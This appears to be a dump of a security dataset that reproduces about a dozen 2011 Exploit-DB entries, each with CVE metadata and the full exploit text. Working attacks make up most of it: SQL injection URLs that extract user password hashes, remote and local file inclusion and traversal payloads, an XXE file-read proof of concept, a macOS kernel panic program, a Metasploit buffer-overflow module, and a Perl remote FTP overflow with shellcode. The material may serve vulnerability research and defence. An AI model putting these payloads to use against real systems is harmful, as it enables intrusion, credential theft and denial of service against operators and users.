QLWD/code_shield huggingface dataset:
标题: Joomla! Component Time Returns 2.0 - SQL Injection EDB-ID: 17944 CVE: 2011-4570 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-08 漏洞利用脚本: #############################################################################################################
## Joomla Component Time Returns (com_timereturns) SQL Injection Vulnerability              ##
## Author : kaMtiEz (kamtiez@exploit-id.com)           ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id    ##
## Date : 8 October, 2011                                          ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.takeaweb.it/
[+] Download : http://www.takeaweb.it/index.php?option=com_dms&view=category&layout=table&Itemid=13
[+] version : 2.0 or lower maybe also affected
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : - INDONESIA -

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/index.php?option=com_timereturns&view=timereturns&id=[num]

[ XpL ]

http://127.0.0.1/[kaMtiEz]/index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack,n4kuLa
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,Caddy-Dz,pinpinbo dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

[ NOTE ] 

[+] Halal Bihalal sukses mas dab :))
[+] Jika kau mengambil sebuah keputusan maka kau tidak boleh menyesalinya :-)
[+] Hellcome in MGL jos_ali_joe =))

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/17944
标题: NexusPHP 1.5 - SQL Injection EDB-ID: 17946 CVE: 2011-4026 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-08 漏洞利用脚本: # Exploit Title: Nexusphp.v1.5 SQL injection Vulnerability
# Google Dork: intitle:nexusphp
# Date: 2011-10-08
# Author: flyh4t
# Software Link: http://sourceforge.net/projects/nexusphp/
# Version: nexusphp.v1.5
# Tested on: linux+apache
# CVE : CVE-2011-4026


Nexusphp is BitTorrent private tracker scripts written in PHP 
The codes is here http://sourceforge.net/projects/nexusphp/
There is a sql injectiong Vulnerability in thanks.php.
 
-----------------------vul code-------------------
//thanks.php
if ($_GET['id'])
 stderr("Party is over!", "This trick doesn't work anymore. You need to click the button!");
$userid = $CURUSER["id"];
$torrentid = $_POST["id"];
$tsql = sql_query("SELECT owner FROM torrents where id=$torrentid");
$arr = mysql_fetch_array($tsql);
-----------------------vul code end-------------------
 
 $_POST["id"] is not checked, lead a sql injection Vulnerability

-----------------------exploit-------------------

_POST[id] : -1 union select version()>4/*

-----------------------exploit end ------------------- URL: https://www.exploit-db.com/exploits/17946
标题: Banana Dance CMS and Wiki - SQL Injection EDB-ID: 17919 CVE: 2011-5168 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-02 漏洞利用脚本: +-----------------------+
| Banana Dance CMS+Wiki |
+-----------------------+
  
Vulnerable Web-App : Banana Dance CMS+Wiki
Vulnerability      : SQLi
Author             : Aodrulez. 
Email              : f3arm3d3ar@gmail.com
Google-Dork        : :) Guess it.
Tested on          : Ubuntu 10.04
Web-App            : http://www.doyoubananadance.com/
Download Link      : http://www.doyoubananadance.com/functions/dl.php?file=4e84e50f89bf7
 
 
+---------+
| Details |
+---------+

1] SQLi 
Exploit : http://localhost/user.php?id=1'[sqli]

Error:
------
Invalid query:
SELECT `key`,`value` FROM `bd_user_data` WHERE `user_id`='1''
Error: You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right 
syntax to use near ''1''' at line 1



+----------+
|  MalCon  |
+----------+
(International Malware Conference)

The CFP for MalCon-2011 is ON!
If you think you are good enough, try cracking our
'Capture the Mal Challenge-2011' online.
Open to everyone!

For more details, visit http://malcon.org




+-------------------+
| Greetz Fly Out To |
+-------------------+
   
  
1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] str0ke (milw0rm)
4] www.orchidseven.com
5] www.malcon.org
6] www.isac.org.in
7] www.nsd.org.in
8] LiquidWorm
 
+-------+
| Quote |
+-------+
 
"Microsoft is not the answer. Microsoft is the question. NO is the answer."   - Erik Naggum URL: https://www.exploit-db.com/exploits/17919
标题: CF Image Hosting Script 1.3.82 - File Disclosure EDB-ID: 17927 CVE: 2011-4572 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-04 漏洞利用脚本: #!/usr/bin/perl

#CF Image Hosting Script 1.3.82 File Disclosure Exploit
#Bugfounder and Exploitcoder: bd0rk
#Contact: www.sohcrew.school-of-hack.net
#eMail: bd0rk[at]hackermail.com
#Affected-Software: CF Image Hosting Script 1.3.82
#Vendor: http://www.phpkode.com
#Download: http://phpkode.com/download/p/CF_Image_Hosting_v1.3.zip

#Vulnerable Code in /inc/tesmodrewrite.php line 28
#echo "Current URL: " . $_GET['q'];

#Tested on Ubuntu-Linux

use LWP::Simple;
use LWP::UserAgent;

sub help()
{
print "Sploit: perl $0 [targethost] /dir/\n";
}

print "\nCF Image Hosting Script 1.3.82 File Disclosure Exploit\n";
print "\ By bd0rk bd0rk[at]hackermail.com\n";

($inc, $targethost, $dir, $file,) = @ARGV;

$inc="/inc/";
$file="tesmodrewrite.php?q=[APossibleFile]";
my $url = "http://".$targethost.$dir.$inc.$file;

my $useragent = LWP::UserAgent->new();
my $req = $useragent->get($url,":content_file"=>"[APossibleFile]");

if ($req->is_success)

{

print "$url <= H3h3!\n\n";
print "etc/passwd\n";

exit();
}
else
{
print "Sploit $url Mhhh!\n[!]".$req->status_line.\n";

exit();
} URL: https://www.exploit-db.com/exploits/17927
标题: Omnidocs - Multiple Vulnerabilities EDB-ID: 17897 CVE: 2011-3645 类型: WEBAPPS 平台: JSP 发布日期: 2011-09-27 漏洞利用脚本: --------------------------------------------------------------------
# Exploit Title: Multiple Vulnerability in "Omnidocs"
# Date: 24 Sep 2011
# Author: Sohil Garg
# Software Link: http://www.newgensoft.com/omnidocs.asp
# Version: All
# Tested on: Apache-Coyote/1.1
# CVE : CVE-2011-3645
�
---------------------------------------------------
"Omnidocs" Multiple vulnerability.
---------------------------------------------------
By � � � :Sohil Garg
Email � �:sohil_garg@yahoo.co.in
---------------------------------------------------
�
Product Description:
OmniDocs is an Enterprise Document Management (EDM) platform for creating, capturing, managing, delivering and archiving large volumes of documents and�

contents. Also integrates seamlessly with other enterprise applications.
�
------------------
Vulnerability
------------------
�
1.Vulnerbility Type
Privilege escalation

Affected URL:�
http://serverIP/omnidocs/doccab/doclist.jsp?DocListFolderId=927964&FolderType=G&FolderRights=010000000&FolderName=1234&FolderOwner=test&FolderLocation=G&Fold
erAccessType=I&ParentFolderIndex=100&FolderPathFlag=Y&Fetch=5&VolIndex=1&VolIndex=1
�
Vulnerable Parameter:�
FolderRights

Exploit
Omnidocs application does not validate 'FolderRights' parameter. This parameter could be modified to '111111111' to get full access including rights to add�
documents, add folders, delete folders and place orders.



2.Vulnerability Type
Direct Object Access

Sample URL:
http://serverIP/omnidocs/doccab/userprofile/editprofile.jsp

Vulnerable Parameter:
UserIndex

Exploit:
Omnidocs application does not validate 'UserIndex' parameter. 'UserIndex' parameter is used to access the personal setting page. This parameter can be�
changed to other valid numbers thereby gaining access to view or change other user's personal settings.


Timeline:
Notified Vendor: 01-Sep-2011
No response received from vendor for 3 weeks
Public Disclosure: 23-Sep-2011


-----------------------------------------------------
Greetz to:
1] Nikhil Mittal URL: https://www.exploit-db.com/exploits/17897
标题: Apple Mac OSX < 10.6.7 - Kernel Panic (Denial of Service) EDB-ID: 17901 CVE: 2011-0182 类型: DOS 平台: OSX 发布日期: 2011-09-28 漏洞利用脚本: /*
 Mac OS X < 10.6.7 Kernel Panic Exploit
 CVE-2011-0182, Proof Of Concept Code

 Author - Chanam Park (hkpco)
 Date - 2011. 06
 Contact - chanam.park@hkpco.kr , http://hkpco.kr , @hkpco

 Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include <architecture/i386/table.h>
#include <i386/user_ldt.h>

#include <unistd.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy_func( void ) { asm volatile( ".byte 0xff" ); }

int main( void )
{
 int ret;
 union ldt_entry cgate, cgate2;
 char dummy[128] = {0x00,};

 cgate.call_gate.offset00        = (unsigned int)dummy_func & 0xffff;
 cgate.call_gate.offset16        = ((unsigned int)dummy_func >> 16) & 0xffff;
 // You can input shellcode address value here to get the root shell.
 /* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
    The normal system has a little different environment.
    I have no time for this anymore because of my summer break is over.
    So.. Good Luck! */

 cgate.call_gate.argcnt          = 0;
 cgate.call_gate.type            = 0xc; // DESC_CALL_GATE
 cgate.call_gate.dpl             = 3;
 cgate.call_gate.present         = 1;

 cgate.call_gate.seg.rpl         = 0;
 cgate.call_gate.seg.ti          = 0;
 cgate.call_gate.seg.index       = 16;

 cgate2.call_gate.offset00       = 0x0;

 cgate2.call_gate.seg.rpl        = 0;
 cgate2.call_gate.seg.ti         = 0;
 cgate2.call_gate.seg.index      = 0;

 cgate2.call_gate.argcnt         = 0;
 cgate2.call_gate.type           = 0;
 cgate2.call_gate.dpl            = 0;
 cgate2.call_gate.present        = 1;

 cgate2.call_gate.offset16       = 0x0;

 printf( "// coded by Chanam Park (hkpco)\n\n" );

 ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
 printf( "Selector Number in LDT <1>: 0x%x\n", ret );

 ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
 printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );

 printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
 printf( "The program will be continued when you input any value.\n" );
 printf( "-> " );
 fflush(stdout);
 scanf( "%s", dummy );

 asm volatile( "lcall $0x3f, $0x0" );
 // Trigger

 return 0;
} URL: https://www.exploit-db.com/exploits/17901
标题: WordPress Plugin AdRotate 3.6.5 - SQL Injection EDB-ID: 17888 CVE: 2011-4671 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-24 漏洞利用脚本: # Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = urldecode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;"); URL: https://www.exploit-db.com/exploits/17888
标题: eSignal and eSignal Pro 10.6.2425.1208 - File Parsing Buffer Overflow in QUO (Metasploit) EDB-ID: 17880 CVE: 2011-3494 类型: LOCAL 平台: WINDOWS 发布日期: 2011-09-20 漏洞利用脚本: ##
# $Id: esignal_styletemplate_bof.rb 13765 2011-09-20 17:39:53Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',
   'Description'    => %q{
    The software is unable to handle the "<StyleTemplate>" files (even
    those original included in the program) like those with the registered
    extensions QUO, SUM and POR. Successful exploitation of this vulnerability
    may take up to several seconds due to the use of egghunter.  Also, DEP
    bypass is unlikely due to the limited space for payload.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Luigi Auriemma',                          # Original discovery
     'TecR0c <tecr0c[at]tecninja.net>',         # msf
     'mr_me <steventhomasseeley[at]gmai.com>',  # msf
    ],
   'Version'       => '$Revision: 13765 $',
   'References'    =>
    [
     #[ 'CVE', '?' ],
     #[ 'OSVDB', '?' ],
     [ 'BID', '49600' ],
     [ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/17837/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00"
    },

   'Targets'        =>
    [
     [
      'Win XP SP3 / Windows Vista / Windows 7',
      {
       'Ret'     =>  0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
       'Offset'  =>  54
      }
     ],
    ],
   'Privileged'  => false,
   'DisclosureDate' => 'Sep 06 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
   ], self.class)

 end

 def exploit
  eggoptions = 
  {
   :checksum => false,
   :eggtag => 'eggz' 
  }

  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  buffer =  rand_text_alpha(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << rand_text_alpha_upper(4)
  buffer << hunter
  buffer << rand_text_alpha_upper(1500)
  buffer << egg

  file = "<StyleTemplate>\r\n"
  file << "#{buffer}\r\n"
  file << "</StyleTemplate>\r\n"

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(file)
 end
end URL: https://www.exploit-db.com/exploits/17880
标题: KnFTP 1.0.0 Server - 'USER' Remote Buffer Overflow EDB-ID: 17870 CVE: 2011-5166 类型: REMOTE 平台: WINDOWS 发布日期: 2011-09-19 漏洞利用脚本: # Exploit Title: KnFTP  1.0.0 Server - Remote Buffer Overflow Exploit,'USER' command
# Date: 19/9/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Tested on: Windows XP SP3 [En]



#!/usr/bin/perl

use IO::Socket;

# Exploit Title: KnFTP 1.0.0 Server - Remote Buffer Overflow Exploit, 'USER' command.
# Date: 19/9/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Tested on: Windows XP SP3 [En]

print "\n#----[ mr.pr0n ]---------------------------------------------------------#\n";
print "#    Target App: KnFTP  1.0.0 Server                                     #\n";
print "#    Attack    : Remote Buffer Overflow Exploit - 'USER' command         #\n";
print "#    Target OS : Windows XP Pro English [Service Pack 3].                #\n";
print "#------------------------------[ http://ghostinthelab.wordpress.com ]----#\n";

$target  = "192.168.178.21";

# The egghunter.
$egghunter  = 
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"w00t". # <-- The 4 byte tag
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

# Calc.exe
$shellcode =
"\xb8\xe8\xaa\x5e\xc0\xdb\xd6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1".
"\x33\x31\x43\x12\x03\x43\x12\x83\x03\x56\xbc\x35\x2f\x4f\xc8".
"\xb6\xcf\x90\xab\x3f\x2a\xa1\xf9\x24\x3f\x90\xcd\x2f\x6d\x19".
"\xa5\x62\x85\xaa\xcb\xaa\xaa\x1b\x61\x8d\x85\x9c\x47\x11\x49".
"\x5e\xc9\xed\x93\xb3\x29\xcf\x5c\xc6\x28\x08\x80\x29\x78\xc1".
"\xcf\x98\x6d\x66\x8d\x20\x8f\xa8\x9a\x19\xf7\xcd\x5c\xed\x4d".
"\xcf\x8c\x5e\xd9\x87\x34\xd4\x85\x37\x45\x39\xd6\x04\x0c\x36".
"\x2d\xfe\x8f\x9e\x7f\xff\xbe\xde\x2c\x3e\x0f\xd3\x2d\x06\xb7".
"\x0c\x58\x7c\xc4\xb1\x5b\x47\xb7\x6d\xe9\x5a\x1f\xe5\x49\xbf".
"\x9e\x2a\x0f\x34\xac\x87\x5b\x12\xb0\x16\x8f\x28\xcc\x93\x2e".
"\xff\x45\xe7\x14\xdb\x0e\xb3\x35\x7a\xea\x12\x49\x9c\x52\xca".
"\xef\xd6\x70\x1f\x89\xb4\x1e\xde\x1b\xc3\x67\xe0\x23\xcc\xc7".
"\x89\x12\x47\x88\xce\xaa\x82\xed\x21\xe1\x8f\x47\xaa\xac\x45".
"\xda\xb7\x4e\xb0\x18\xce\xcc\x31\xe0\x35\xcc\x33\xe5\x72\x4a".
"\xaf\x97\xeb\x3f\xcf\x04\x0b\x6a\xac\xcb\x9f\xf6\x1d\x6e\x18".
"\x9c\x61";

$junk       = "\x41" x (284 - length("w00tw00t") - length($shellcode));

$eip  = "\x13\x44\x87\x7c";     # 7C874413 JMP ESP - kernel32.dll
$padding  = "\x90" x 15;    # Send 10 nops.

$payload = $junk."w00tw00t".$shellcode.$eip.$padding.$egghunter;

if ($socket = IO::Socket::INET->new (PeerAddr => $target,PeerPort => "21",Proto => "TCP"))
                { 
     print "\n[*] Sending buffer (".(length($payload))." bytes) to: $target! \n";
     print $socket "USER ".$payload. "\r\n";   
     print $socket "PASS pwned \r\n";
     sleep(1);
     close($socket);    
     print "[+] OK, exploitation Done!\n";
                }

else
        {
         print "\n[-] Connection to $target failed!\n";
        } URL: https://www.exploit-db.com/exploits/17870
标题: SharePoint 2007/2010 and DotNetNuke < 6 - File Disclosure (via XEE) EDB-ID: 17873 CVE: 2011-1892 类型: WEBAPPS 平台: WINDOWS 发布日期: 2011-09-20 漏洞利用脚本: Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke
Date: September 15, 2011
Author: Nicolas Gregoire
Version: SharePoint 2007 / 2010, DotNetNuke < 6
CVE : CVE-2011-1892

poc filename: xee.xml

<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>

poc filename: xee.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="/">
        <xsl:apply-templates/>
                <xsl:value-of select="doc"/>
        </xsl:template>
</xsl:stylesheet> URL: https://www.exploit-db.com/exploits/17873
标题: WordPress Plugin Relocate Upload 0.14 - Remote File Inclusion EDB-ID: 17869 CVE: 2012-1205 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-19 漏洞利用脚本: # Exploit Title: Relocate Upload Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/relocate-upload
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/relocate-upload/download/
# Version: 0.14 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/relocate-upload/relocate-upload.php?ru_folder=asdf&abspath=RFI

---
Vulnerable Code
---
// Move folder request handled when called by GET AJAX
if (isset($_GET['ru_folder']))
{       // WP setup and function access
        define('WP_USE_THEMES', false);
        require_once(urldecode($_GET['abspath']).'/wp-load.php'); // save us looking for it, it's passed as a GET parameter URL: https://www.exploit-db.com/exploits/17869
标题: WordPress Plugin AllWebMenus 1.1.3 - Remote File Inclusion EDB-ID: 17861 CVE: 2011-3981 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-19 漏洞利用脚本: # Exploit Title: Allwebmenus Wordpress Menu Plugin Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/allwebmenus-wordpress-menu-plugin
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/download/
# Version: 1.1.3 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php POST="abspath=RFI"

---
Vulnerable Code
---
/** Loads the WordPress Environment and Template */
if (!isset($_POST["abspath"]))
    die();
require_once(urldecode((string) $_POST["abspath"].'wp-blog-header.php')); URL: https://www.exploit-db.com/exploits/17861
标题: iBrowser Plugin 1.4.1 - 'lang' Local File Inclusion EDB-ID: 17850 CVE: 2010-5281 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-17 漏洞利用脚本: iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.4.1 Build 10182009

Summary: iBrowser is an image browser plugin for WYSIWYG editors like
tinyMCE, SPAW, htmlAREA, Xinha and FCKeditor developed by net4visions.
It allows image browsing, resizing on upload, directory management and
more with the integration of the phpThumb image library.

Desc: iBrowser suffers from a file inlcusion vulnerability (LFI) / file
disclosure vulnerability (FD) when input passed thru the 'lang' parameter
to ibrowser.php, loadmsg.php, rfiles.php and symbols.php is not properly
verified before being used to include files. This can be exploited to
include files from local resources with directory traversal attacks and
URL encoded NULL bytes.


======================================================================
/langs/lang.class.php:
----------------------------------------------------------------------

67: function loadData() {
68:    global $cfg;
69:    include( dirname(__FILE__) . '/' . $this -> lang.'.php' );
70:    $this -> charset = $lang_charset;
71:    $this -> dir = $lang_direction;
72:    $this -> lang_data = $lang_data;
73:    unset( $lang_data );
74:    include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );
75:    $this -> default_lang_data = $lang_data;
76: }

======================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5041
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5041.php


15.09.2011

--

http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 URL: https://www.exploit-db.com/exploits/17850